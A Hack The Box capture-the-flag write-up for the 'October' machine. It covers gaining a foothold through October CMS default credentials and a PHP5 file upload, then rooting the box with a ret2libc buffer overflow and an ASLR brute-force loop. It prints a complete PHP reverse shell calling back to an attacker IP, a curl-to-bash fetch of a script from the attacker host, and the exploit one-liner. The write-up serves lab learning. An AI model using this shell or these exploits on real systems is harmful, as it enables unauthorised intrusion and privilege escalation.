October CMS Hack The Box Writeup

October HTB & ret2libc Writeup

If you’ve randomly pick this blog and haven’t read any of the previous blog than it’s completely fine but for those who are following my blogs knows that I am supposed to compose a blog on the ROP Emporium challenge Five. However, I am trying to switch the gears here and had a thought of trying my hands again on Hack The Box. So today, we are looking at the October.htb. It is one of the medium level Linux box with buffer overflow vulnerability. Yeah I’m still hooked on to Buffer Overflows. Although, this box has ASLR enabled and NX-bit (No-Execute) and RELRO (ReLocation Read-Only) partially enabled. It’s going to be easy to capture the user flag however, we will explore the buffer overflow techniques to capture the root flag.

Couple of Definitions:

NX-Bit – As per the CTF Handbook, Binary Security is a method of using tools and techniques in order to secure program from being manipulated and exploited. The NX-Bit (No Execute) also known as Data Execution Prevention (DEP) marks the certain area of the program as non executable. It means that storage input or data can not be executed as code. This is significant because it prevents attacker from being able to jump to custom shell code that they have stored on the stack or global variable.

Relocation Read-Only (RELRO) – Relocation Read Only is a security measure that makes some parts of the memory read-only. There are two types of Relocation Read-Only (RELRO). Partial RELRO and Full RELRO.

  • Partial RELRO – Partial RELRO is a default setting in GCC and nearly all the binaries have this setting. From the adverserial side, Partial RELRO does not make any difference other than it force Global Offset Table (GOT) comes before in the Block Starting Symbol (BSS) in the memory which eliminate the risk of buffer overflow attack on the on a global variable overwriting GOT entries. Remember that BSS is statically allocated variables that are declared but not assigned.
  • Full RELRO – The Full RELRO makes the entire Global Offset Table (GOT) read-only which removes the ability to perform “GoT overwrite” attack where GOT address of the function is overwriten with the location of another function.

While performing the initial enumeration using nmap on the October.htb, I was able to obtained the following results.

┌──(ringbuffer㉿kali)-[/]
└─$ nmap -T4 --min-rate=1000 -p- -sC -sV -Pn october.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-26 23:48 EDT

Nmap scan report for october.htb (10.10.10.16)
Host is up (0.042s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.26 seconds

Port 22 and Port 80 are both open. To proceed, open october.htb in your browser. Before accessing october.htb, I attempted several default credentials for Port 22 but no success. Then, I used tools like Dirb and Nikto on http://october.htb, uncovering several valuable directories. However, exploring the site directly and October CMS documentation revealed even more crucial information.

Referring to the October CMS documentation https://docs.octobercms.com/3.x/setup/directory-structure.html#modules-directory, the /backend directory bring me the following backend login page.

October CMS Backend Login Page and Default Creds

But the question is how would I login? So a simple google search got me the default credentials. admin/admin works.

October CMS Backend login with default credentials

Uncertain about the current build of October CMS, I conducted a search on Exploit-DB for October CMS vulnerabilities https://www.exploit-db.com/search?q=October+CMS. There were several vulnerabilities listed, but I wasn’t sure which one to pursue. After logging into the October CMS backend, I discovered that the “Media” tab allows file uploads, and these files are accessible. Notably, a sample file named “dr.php5” was already uploaded, suggesting that PHP5 files can be used. I plan to upload a simple PHP5 shell to see if a reverse shell can be established.

I used https://www.revshells.com/ to generate a PHP Ivan Sincek shell. Visit the site to create a shell tailored to your local IP and port. Save the shell as a PHP5 file and upload it to the October CMS portal under the Media tab. For reference, here is what my shell looks like.

Click Here to see the PHP Shell Code
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = 'sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.14', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

Now that we have our shell uploaded to October CMS, let’s execute it to obtain a reverse shell. For a more stable connection, use the following Python command after gaining the initial shell access.

python -c 'import pty;pty.spawn("/bin/bash")'

Once we get the shell, we can have our user flag as well.

Next, we’ll use LinEnum.sh https://github.com/rebootuser/LinEnum for further enumeration of this box. LinEnum.sh provides detailed information about the system, kernel, file system, privilege access, and more. I downloaded LinEnum.sh on my Kali machine, started a Python server with ‘python -m http.server 8080‘, and executed the script on the victim machine with the command ‘curl -s http://kali_IP:8080/LinEnum.sh | bash‘ to gather the results.

Running Python Server on Kali

Now executing the curl command on the target to execute the script on the target.

LinEnum.sh to Enumerate the Linux Machine

So we want to take a look at the files that are owned by the user root using LinEnum.sh. Scroll down and locate the SUID files.

SUID file

Looks like we have a file /usr/local/bin/ovrflw. Let’s grab that file using nc. Run the command ‘nc -nlvp 4444 > filename [e.g ovrflw]’

Now go to the target machine and run the ‘nc -w 5 4444 < ovrflw’

Then check your kali and notice that you have received the file.

Now let’s execute the ovrflw and open it using gdb and disassemble the main function.

Reverse Engineering the binary using gdb

Looks like we’ve some of the vulnerable functions like strcpy is being called while running the executable. Let’s check the executable and the kernel properties of this binary using checksec.

checksec to check the binary properties

Upon examining the results, we see that Partial Relocation Read-Only (RELRO) is enabled and the stack is non-executable due to NX being enabled, preventing shellcode execution on the stack. Next, let’s verify if ASLR (Address Space Layout Randomization) is enabled on the target. Run ‘cat /proc/sys/kernel/randomize_va_space‘ on the target to check the ASLR status.

ASLR Status

Looks like ASLR is enabled. Let’s run the binary with the gdb on our kali to find the offset.

Analyzing the stack and register to identify the overflow address

So our offset is 112 and we have ASLR enabled. Let’s run the ldd which prints the shared libraries. But we will have to run this command on the target machine.

Identifying the address of libc

I ran the ldd command several times because ASLR (Address Space Layout Randomization) is enabled, causing the address for the libc library to change each time. However, if you closely examine the results, the memory addresses for the libc library range from 0xb7500000 to 0xb7600000. This indicates that only 1 byte plus 1 bit (the last 5 zeros) are changing. By repeatedly running the binary, we can eventually brute force this 1 byte plus 1 bit and obtain a shell. Let’s begin by testing our offset.

Controlling EIP by overflowing the buffer

We have now successfully gained control of the EIP register, which currently contains ‘BBBB‘. Our next step is to locate the addresses of the system function and the exit function from the libc library on the target machine using the readelf command. Readelf provides detailed information about the Executable and Linkable Format (ELF) file. Since GDB is not available, we will use readelf to find these addresses. Run ‘readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e ” system@” -e ” exit@”‘ to obtain the memory addresses of the system and exit commands.

finding the address of system and exit function

Now that we have the memory addresses for the system and exit functions, our next step is to locate the “/bin/sh” string in the libc library. The strategy is to invoke this string immediately after executing the system function. Once we obtain the root shell, we can use the exit function to prevent a segmentation fault error. To find the “/bin/sh” string, use the strings command: ‘strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”‘.

Finding the strings from Binary

So now our final exploit will have the following structure:

  • 112 Bytes of NOP-Sled or “A” character to take control of EIP.
  • Memory Address of the ‘System’ function. So Libc Address + System Function Address. “0xb7642000 + 0x40310”
  • Memory Address of the ‘Exit’ function. So Libc Address + Exit Function Address. “0xb7642000 + 0x33260”
  • Memory Address of the string “/bin/sh” to get the shell. So Libc Address + string “/bin/sh” address. “0xb7642000 + 0x162bac”

Let’s calculate our final addresses. A simple Hex Addition will get us the following result:

  • System Function: 0xb7546000 + 0x40310 = 0x B7 58 63 10 –> \x10\x63\x58\xb7 –> Little-Endian
  • Exit Function: 0xb7546000 + 0x33260 = 0x B7 57 92 60 –> \x60\x92\x57\xb7 –> Little-Endian
  • String “/bin/sh”: 0xb7546000 + 0x162bac = 0x B7 6A 8B AC –> \xac\x8b\x6a\xb7 –> Little-Endian

To brute-force the libc address, we’ve selected one of the addresses obtained from the output of ‘ldd ovrflw | grep libc’—specifically, 0xb7546000. Given that ASLR is enabled, our final exploit will iterate through a while loop, aiming for this libc address to align at least once. Additionally, all addresses will be formatted in little-endian format for our exploit.

while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x63\x58\xb7" + "\x60\x92\x57\xb7" + "\xac\x8b\x6a\xb7"'); done
root flag captured

@RingBuffer

Some of the latest blogs